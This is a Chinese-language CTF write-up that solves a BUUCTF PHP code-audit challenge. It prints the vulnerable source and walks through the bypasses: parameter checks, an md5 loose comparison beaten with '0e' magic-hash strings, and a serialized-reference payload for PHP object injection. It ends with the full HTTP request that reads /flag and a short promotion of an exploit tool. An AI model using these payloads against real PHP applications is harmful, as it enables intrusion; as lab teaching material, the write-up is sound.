題目來自於BUUCTF 的基礎部分,內容就如題,是一個代碼審計。代碼以下:php
<?php /** * Created by PhpStorm. * User: jinzhao * Date: 2019/10/6 * Time: 8:04 PM */ highlight_file(__FILE__); class BUU { public $correct = ""; public $input = ""; public function __destruct() { try { $this->correct = base64_encode(uniqid()); if($this->correct === $this->input) { echo file_get_contents("/flag"); } } catch (Exception $e) { } } } if($_GET['pleaseget'] === '1') { if($_POST['pleasepost'] === '2') { if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) { unserialize($_POST['obj']); } } }
代碼主要能夠分爲4部分,以下圖
html
0部分爲一個class
,並且在第三部分看見了反序列化unserialize($_POST['obj']);
內容,那麼就十之八九是反序列化。可是先不用去處理。且在class中能夠得到flag的值。node
1部分爲一個IF
知足進入的條件爲get
傳參的值爲1
。web
2部分也是一個IF
知足條件爲post
傳參的值爲2
。數據庫
3部分也是一個IF
知足條件爲 須要兩個不一樣的數。且這兩個不一樣的數值的md5
的卻相同 。數組
若是 1、2、3 條件都知足以後就會執行反序列化,經過POST
傳參obj
執行,而後進入區域0
。app
0區域也有一個IF
知足條件爲屬性correct
與屬性input
相等。 可是correct 倒是利用一個時間進行計算的值的base64
值。ide
只須要在url
中傳參便可,以下圖
函數
使用burpsuit截斷內容,改變傳輸方式爲POST。以下
post
改變爲POST
以後, URL
中傳值的1 也會自動下來, 須要手動調整上去。
第三部分爲md5值得比較。一般能夠用數組
作比較繞過和弱類型
比較繞過。
這裏使用弱類型比較繞過。
原理:PHP 當中使用==
來進行比較的時候,系統會自動處理數據類型, 進行分析是數字比較仍是字符比較。 而當一個字符串值是e0開通的時候,那麼就會被當中數值。而e0xxxxxx都爲0.
那麼就只須要找到兩個不一樣的數值,開頭倒是以e0開頭的便可。也是蠻多的,以下圖中所示。
而後傳參md51
和md52
便可。 這樣就能夠達到md51
與md52
不相同。 可是他們的md5值卻在php中相等。
傳參方式和post同樣, 使用&
符號連接。 內容以下圖:
反序列化的處理方式很簡單。 值須要將原class
中的方法去掉,放進php在線運行
中去,序列化一下便可得到能夠運行的序列化內容。
如圖:
可是以上序列化以後的字符串經過post['obj']
只能達到解析的目的。 解析後內容能夠控制。卻由於uniqid()函數產生的數是隨時變化的,沒法預測,因此input
傳值多少沒法肯定。
這裏就是本題的重要考點引用
的反序列化。 咱們能夠簡單的把引用簡單的理解爲C
語言中的地址指針。
看以下代碼
$a=&$b; $a=1;//此時 輸出$b 那麼變量b就爲1 $a=123;//此時輸出$b 那麼變量b就爲123
由以上代碼能夠發現,當變量b爲a的引用的時候,b的值隨a變化。
道理我都懂了, 那麼只須要$this->input
爲 $this->correct
的引用便可。
即
$this->input=&$this->correct
構造方式以下圖:
只須要在序列化的時候設置一下便可。
完整poc以下圖
http報文以下
POST /?pleaseget=1 HTTP/1.1 Host: a27be653-d322-4e8f-96a8-07b27c77f559.node3.buuoj.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 103 Content-Type: application/x-www-form-urlencoded pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
limanmanExp 5.2版本發佈了。 增長了數據庫審計插件。 想要的小夥伴能夠看B站。
https://www.bilibili.com/video/BV1UK4y1U7G6
下載地址在簡介中。 還附帶了一些簡單的exp插件。 若是有興趣自定義開發插件,也能夠在看雲手冊中查看開發方法
地址https://www.kancloud.cn/qq496672097/limanmanexp/2139143